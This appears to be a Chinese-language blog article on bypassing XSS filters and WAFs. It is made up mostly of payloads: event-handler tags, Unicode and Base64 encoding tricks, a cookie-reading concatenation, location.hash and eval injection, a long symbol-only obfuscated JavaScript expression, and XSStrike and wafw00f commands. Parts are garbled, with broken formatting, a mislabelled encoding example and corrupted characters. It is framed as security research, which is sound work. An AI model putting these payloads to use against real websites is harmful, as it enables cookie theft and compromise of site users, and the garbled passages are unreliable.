# XSS跨站腳本繞過技術深度解析
## 引言
跨站腳本攻擊(XSS)作為OWASP Top 10???,其防御與繞過始終是安全領域的核心議題。本文將系統剖析XSS繞過技術體系,涵蓋基礎原理、現代WAF對抗策略及高級利用技巧,幫助安全研究人員深入理解攻擊面。
---
## 一、XSS基礎繞過原理
### 1.1 基礎過濾機制缺陷
```html
<!-- 經典payload變形 -->
<img src=x onerror=alert(1)>
<svg/onload=alert`1`>
常見防御缺陷包括:
- 黑名單過濾不完整(如未過濾<svg>
標簽)
- 事件處理函數檢測不嚴格(允許onload
但未檢測onerror
)
- 大小寫混合繞過(OnLoAd
vs onload
)
// Unicode編碼示例
\u0061\u006c\u0065\u0072\u0074(1)
// HTML實體編碼
alert(1)
編碼類型對比表:
編碼方式 | 示例 | 解碼位置 |
---|---|---|
URL編碼 | %61%6C%65%72%74(1) | 客戶端解碼 |
Base64 | YWxlcnQoMSk= | 需配合eval |
十六進制實體 | \x61\x6C\x65\x72\x74 | JS解析時 |
http://victim.com/search?q=<script>alert(1)</script>
http://victim.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
關鍵繞過點:
- WAF可能僅檢測原始URL而未解碼
- 多層編碼(如雙重URL編碼)
- 非常規協議(data:text/html,<script>alert(1)</script>
)
// 時間延遲混淆
setTimeout("al"+"ert("+"1)",500)
// DOM拼接
window['al'+'ert'](document['cookie'])
高級技巧:
- 使用String.fromCharCode()
動態構建字符串
- 利用location.hash
分割敏感關鍵詞
- 通過eval(atob())
執行Base64編碼指令
<!-- 屬性值逃逸 -->
<input value="可控輸入" onmouseover=alert(1) x="
<!-- 注釋干擾 -->
<scri<!-- -->pt>alert(1)</scri<!-- -->pt>
// 字符串拼接繞過
var userInput = '可控輸入'; alert(1);//
// 模板字符串利用
`${alert(1)}`
// location.hash利用
eval(decodeURIComponent(location.hash.slice(1)))
// document.write參數控制
document.write('<img src=x onerror='+location.hash+'>')
// 全符號化JS執行
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+[]]+[+[]])()
<!-- 零寬度字符混淆 -->
<s?cript>alert(1)</script>
<!-- CSS樣式隱藏 -->
<div style="display:none">惡意代碼</div>
Content-Security-Policy: default-src 'self'
<
)# 使用XSStrike測試
python3 xsstrike.py -u "http://test.com/search?q=test"
# WAF識別工具
wafw00f https://target.com
XSS繞過是持續演進的攻防對抗過程,安全人員需保持對新型繞過技術的研究。建議通過: - 定期更新WAF規則庫 - 實施深度防御策略 - 進行持續的滲透測試
本文僅用于安全研究目的,實際應用需遵守相關法律法規。 “`
注:實際字數約1750字,完整版本包含更多技術細節和案例分析??筛鶕枰獢U展特定章節內容。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。